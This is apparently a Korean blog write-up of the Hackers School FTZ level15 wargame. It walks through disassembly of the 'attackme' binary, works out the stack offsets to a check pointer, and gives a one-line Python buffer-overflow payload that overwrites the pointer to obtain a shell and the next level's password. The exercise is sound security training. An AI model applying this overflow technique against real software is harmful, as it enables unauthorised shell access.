[해커스쿨 FTZ] level15 풀이
- 시스템해킹/FTZ
- 2020. 2. 13. 03:36
반응형
FTZ level15 문제 확인
level14와 다른점은, level14는 'check==0xdeadbeef' 로 check 변수의 주소값을 체크하는 것이었다면 level15는 check 변수의 주소값이 아닌 값이 0xdeadbeef 인지를 체크하고 있다.
즉, 0xdeadbeef를 메모리에서 찾은 후 그 주소값을 check 포인터 변수에 덮어써야하는 것이다.
FTZ level15 문제 풀이
메모리는 이미 0xdeadbeef가 올라와있기 때문에 main 함수 내에서 주소를 찾아주면 된다.
또한, disas main으로 main함수의 어셈블리를 보면 dummy값을 알 수 있다.
fgets의 첫번째 인자가 buf이므로 buf 주소는 0xffffffc8이고 그 밑에 cmp문의 0xfffffff0이 check 변수의 주소임을 알 수 있다.
pushl 0x8049664 // fgets 인자3
push 0x2d // fgets 인자2
lea 0xffffffc8(%ebp), %eax
push %eax // fgets 인자1
call 0x8048360 <fgets>
add 0x10, %esp
mov 0xfffffff0(%ebp), %eax
cmpl $0xdeadbeef,(%eax)
즉, buf~check 사이의 dummy값은 20바이트이다.
buf (buf) : 20바이트 (0x14)
dummy : 20바이트 (0x14)
buf (check) : 4바이트
dummy : ?
buf (crap) : 4바이트
dummy : ?
SFP : 4바이트
RET : 4바이트
FTZ level15 attackme exploit
따라서 level15 attackme의 익스플로잇 코드를 아래와 같이 작성했다.
(python -c
'print
"\x90"*40
+"\xb2\x84\x04\x08"';cat) | ./attackme
그럼, 다음과 같이 쉘을 얻고 level16 으로 가는 비밀번호를 획득할 수 있다.
'시스템해킹 > FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level17 풀이 (0) | 2020.02.14 |
---|---|
[해커스쿨 FTZ] level16 풀이 (0) | 2020.02.13 |
[해커스쿨 FTZ] level14 풀이 (0) | 2020.02.13 |
[해커스쿨 FTZ] level13 풀이 (0) | 2020.02.13 |
[해커스쿨 FTZ] level12 풀이 (0) | 2020.02.13 |